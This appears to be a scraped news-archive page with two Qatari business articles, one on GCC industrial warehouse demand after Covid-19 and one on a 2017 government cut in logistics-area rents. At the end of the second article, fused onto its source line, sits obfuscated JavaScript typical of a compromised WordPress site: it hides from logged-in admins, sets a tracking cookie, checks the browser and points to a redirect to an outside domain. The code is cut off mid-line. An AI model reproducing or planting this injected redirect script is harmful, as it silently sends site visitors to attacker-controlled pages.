15

May
2020

Industrial warehouse segment to emerge as real estate bright spot in post-pandemic   

Industrial warehouse segment to emerge as real estate bright spot in post-pandemic   

With structural and cyclical trends favouring demand for spaces tailored towards unique storage needs, Industrial Warehouses are set to emerge as the strongest segment of the GCC real estate market. The growth of e-commerce volumes and newer concepts such as cloud kitchens are expected to be the main drivers of this segment.   The consumption, trade and supply chain reconfiguration continue to remain the core drivers of industrial warehouse demand. But the more recent source of demand growth in the segment will be expansion by 3PL Logistics and e-commerce companies, newer F&B models such as cloud kitchen and vertical farming will contribute to incremental demand in this segment, KAMCO Investment noted in its “GCC Real Estate Update,” yesterday.    Apart from the growth of 3PL logistics (third-party logistics), e-commerce volumes and newer concepts in F&B, industrial warehouses are witnessing significant additional demand for storage units from governments’ increasing focus for their strategic reserves of food, medicines and essential supplies, with the onset of Covid-19. Moreover, rising inventory for other sectors during this time are also sources of demand for warehouses across storage types. Prime GCC industrial warehouse yields in the GCC remain strong and above global averages with sustainable yield averages of 8 percent-9 percent possible for investors looking at prime assets, making them our preferred segment for GCC real estate exposure.    According to KAMCO analysts, the real estate equities plunged along with broader markets on fears of the spread of Covid-19 and the impact of lower oil prices on the GCC economy. The Refinitiv GCC Real Estate Total Return Index closed 23.6 percent lower YTD at the end of Apr-2020 while the MSCI GCC index which was down 22.6 percent over the same period. However, the Refinitiv GCC Real Estate Total Return Index remains 50 percent higher than its March-09 and March-11 lows.   “We expect the market to favour equities and REITs that are more exposed to prime industrial warehouses and residential, over ones that have exposure to the retail segment and commercial office segment. We also believe that real estate developers with strong placement capacity would continue to outperform other developers from their off-plan and on-plan sales”, KAMCO analysts noted.    The Covid-19 crisis and related shutdowns have affected end-user real estate demand, while oil price volatility further impacted demand outlook for the sector. The combined transacted value in the most active real estate markets in the GCC during the months of Mar-2020 & Apr2020 fell by 47.3 percent y-o-y, while the number of transactions dropped by 46 percent y-o-y over the same period.    Fewer transactions and lower visibility for sales prices could potentially now lead to rental recovery taking longer in most segments of the market, and pushing rents at least one-step back from their respective pre-Covid-19 stages in the rental cycle. Although there is no substantial overbuild across real estate segments as witnessed prior to the 2009 global financial crisis (GFC), we expect the retail segment and commercial office spaces to be affected by structural shifts in demand due to the impact of Covid-19 that would alter incoming supply going forward. Further, similar to past real estate cycles, we do expect to see opportunistic deals emerge for investors, both in terms of yield hunting and capital appreciation.    In the region’s residential market, unlike 2009, KAMCO Invest believes there would be more significant price declines going forward. For office spaces, lower utilization rates along with less than full potential business revenues due to Covid-19, and upcoming supply could push tenants to negotiate office space rents downwards with landlords.    Retail rents are likely to come under significant downward pressure from demand being affected by a drop in consumer spending, lower brick-and-mortar footfalls and sales conversions coupled with higher ecommerce sales contribution.   Source: Peninsula Qatar (Dated:13/06/2020)    


10

Oct
2017

Govt decides to split rents in logistics areas by 50%

Govt decides to split rents in logistics areas by 50%

Prime Minister and Interior Minister H E Sheikh Abdullah bin Nasser bin Khalifa Al Thani has issued a decision to reduce the rental value by 50% for all investors for next two years (2018-2019) in the logistics areas – Economic Zones Company - established in southern parts of the country. Accordingly, the rental values will be reduced from QR40 to QR20 per square metre. The step has come upon the directives of Emir H H Sheikh Tamim bin Hamad Al Thani, and the recommendations made by the Ministerial Group to support, motivate and encourage the private sector to increase its contribution to the economic development in the country. The Prime Minister has issued several decisions and directives to various ministries and government departments to support investment in the State and provide a wide range of incentives to the private sector to support local industries and increase production to ensure the provision of various commodities in local markets. It has also been decided to provide more exemptions to stimulate investors to speed up the completion of their projects on time. As well investors are exempted in the logistics areas south of the State of the rental value of 2018 in the event of the issuance of building permits before January 31, 2018 and exempt them for 2019 in the event of the issuance of licences to complete the construction before January 31, 2019. This will contribute to the implementation of the development of logistics areas in accordance with the time plan adopted by Manateq (Economic Zones Company). The Prime Minister has also directed Qatar Development Bank (QDB) to postpone the loan instalments to industrial project owners approved by the Ministry of Energy and Industry’s Committee for up to 6 months to support investors in the industrial sector and give greater role to the private sector in the economic development projects in the State. The Prime Minister urged all ministries and government’s departments to increase the percentage of purchasing of local products from 30% to 100%, if the local product meets the Qatari specifications and standards and in accordance with the regulations and policies of the tenders and auctions committees in the State. The decisions and directives will contribute to encouraging the private sector to enter into diversified investments in the logistics sector.   Source: The Peninsulavar _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c



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